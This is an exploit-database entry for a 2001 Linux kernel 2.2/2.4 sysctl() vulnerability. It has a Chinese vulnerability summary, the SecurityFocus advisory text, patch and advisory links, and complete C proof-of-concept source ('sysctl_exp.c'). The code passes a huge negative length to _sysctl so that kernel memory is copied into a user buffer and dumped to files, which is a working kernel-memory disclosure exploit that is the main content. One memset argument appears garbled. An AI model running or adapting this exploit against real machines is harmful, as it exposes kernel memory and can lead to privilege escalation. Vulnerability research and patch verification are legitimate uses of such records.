https://www.exploit-db.com/exploits/20626
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200105-081

Linuxkernel2.4和2.2版本存在漏洞。本地用户借助sysctl调用的负参数读取核内存以及可能提升特权。

/* 
source: http://www.securityfocus.com/bid/2364/info

The Linux Kernel is the core of the Linux Operating System. It was originally written by Linus Torvalds, and is publicly maintained.

A problem in the Linux kernel may allow root compromise. The sysctl() call allows a privileged program to read or write kernel parameters. It is possible for underprivileged programs to use this system call to query values within the kernel. The system call accepts signed values, which could allow supplied negative values to reach below the threshold memory address set for system security.

This makes it possible for a user with malicious motives to browse kernel space addresses, and potentially gain elevated privileges, including administrative access.
*/

/* sysctl_exp.c - Chris Evans - February 9, 2001 */

/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -2000000000;
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(&args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}

resource:Patch
hyperlink:http://archives.neohapsis.com/archives/bugtraq/2001-02/0267.html
resource:Patch
hyperlink:http://www.caldera.com/support/security/advisories/CSSA-2001-009.0.txt
resource:
hyperlink:http://www.redhat.com/support/errata/RHSA-2001-013.html
resource:
hyperlink:http://www.securityfocus.com/bid/2364
resource:
hyperlink:https://exchange.xforce.ibmcloud.com/vulnerabilities/6079